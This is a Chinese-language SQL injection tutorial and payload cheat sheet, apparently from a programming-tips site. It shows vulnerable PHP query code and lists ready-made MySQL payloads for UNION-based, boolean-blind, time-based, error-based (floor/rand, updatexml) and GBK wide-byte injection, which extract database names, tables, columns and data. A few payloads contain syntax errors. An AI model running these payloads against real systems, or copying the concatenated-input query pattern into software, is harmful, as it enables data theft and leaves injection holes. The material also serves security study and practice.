1. 程式人生 > 實用技巧 >sql注入(一)

sql注入(一)

一.sql諸注入分類

1.數字型注入

$id =$_GET['id'];
$sql= "SELECT * FROM users  WHERE id = $id  LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch($result);

判斷方法:

1>輸入單引號,不正常返回。

2>輸入and 1=1,正常返回。

3>輸入 and 1=2 ,不正常返回。

2.字元型注入

$id =$_GET['id'];
$sql= "SELECT * FROM users  WHERE id = '$id' LIMIT 0,1";
$result = mysql_query($sql); $row = mysql_fetch($result);

判斷方法:

1>輸入單引號,不正常返回。

2>輸入and ’1’=’1,正常返回。

3>輸入 and ‘1’=‘2 ,不正常返回。

注意:根據頁面返回情況靈活判斷,不要生搬硬套。

二.mysql注入

information_schema資料庫儲存了schema表,tables表和columns表等等,提供了訪問資料庫元資料的方式。

paloads:

1>判斷注入點

id =1 and 1=1

2>order by 判斷欄位數

對於order by 沒有用的網頁,可用union select 1……逐步測試至頁面返回正常

id =1 and 1=2 order by 3    /*用欄位所在的列表中的位置號代替欄位名*/

3>判斷報錯點(能在頁面上顯示出來的)

id =1 and 1=2 union select 1,2,3

4.獲取當前資料庫名

id =1 and 1=2 union select 1,group_concat(user(),database()),3

5>獲取表名

id =1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema =
'資料庫名'

6>獲取欄位名

id =1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='表名'

7>獲取列中的資料

id =1 and 1=2 union select 1,欄位名,3 from 表名 

*在查詢中常會新增and 1=2,否則經過聯合查詢後會返回多行資料,沒法判斷是哪一列在前端顯示的資料

盲注

1.bool注入

無任何資訊輸出,只有正確和不正確兩種狀態

payload:

1>獲取資料庫長度

id =1 and (select length(database() ))>8

2>獲取資料庫名

id=1 and (select ascii(substring(database(),1,1) ) )>99

3>獲取當前資料庫表名

id=1 and  ascii(substring(select table_name from information_schema.tables where table_schema =‘資料庫名’ limit 0,1),1,1) )>99

2.sleep注入(延時)

無任何報錯資訊,頁面不管對錯都是一種狀態。

payload

1>判斷當前資料庫的長度

id =1 and sleep(if(length ( (select database()) )=10,5,0 ))  

2>獲取資料庫名

id=1 and sleep(if( ascii(substring(database(),1,1))<116, 5, 0))

3>獲取當前資料庫表名

id=1 and  sleep(if(ascii(substring(select table_name from information_schema.tables where table_schema =‘資料庫名’ limit 0,1),1,1) )>99,5,0)   

利用函式報錯注入

1.floor注入

rand 函式與group by子句一起使用時,rand函式會計算多次,導致報錯產生的注入

floor() 向下取整數
0<rand()<1
0< rand()*2 <2
floor(rand(0)*2)) 0或1
x 和 a 都是括號裡的別名啦,為了少寫

payload

1>獲取當前資料庫名稱

id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

2>獲取當前資料庫表名稱

id =1 and (select 1 from (select count(*), concat((select (table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

3>獲取當前資料庫欄位名

id =1 and (select 1 from (select count(*), concat((select (column_name) from information_schema.columns where table_schema.tables='表名' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

4>獲取資料

id =1 and (select 1 from (select count(*), concat((select 欄位名 from 表名 limit 0,1),0x3a,floor((rand(0)*2))x  from information_schema.tables group by x)a)

2.updatexml注入

利用updatexml函式第二個引數XPath_string(XML的文件路徑)的報錯進行注入,格式不正確會報錯。

updatexml(XML_doucument,XPath_string,new_value)

payload

1>檢視資料庫名稱

id =1 and updatexml(1,concat(0x7e,(database())),0)

2>檢視所有表的資訊

id =1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='資料庫名' limit 0,1)),0)

3>檢視所有欄位

id =1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='資料庫名'and  table_name ='表名' limit 0,1)),0)

4>檢視列的值

id =1 and updatexml(1,concat(select 欄位名 from 表名 limit 0,1),0)

3.extractvalue函式 

寬位元組注入

開發者將使用者輸入的資料用addlashes等函式進行過濾,預設對單引號等字元進行轉義,可以避免注入。但是mysql在使用GBK編碼時,如果第一個字元的ASCII碼大於128(url編碼大於%80),會認為前兩個字元是一個漢字,會將後面轉義字元吃掉,將前兩個字元拼接成為一個漢字,這樣既可以將SQL語句閉合,造成寬位元組注入。

payload

1>檢視資料庫名稱

id =1%81' and 1=2 union select 1,database(),3

用ascii編碼為129字元進行注入,其url編碼為%81,由於使用的是GBK編碼,%81把後面的轉義字元 \ (url編碼為%5) 吃掉,組成了一個漢字,前面的單引號得以閉合。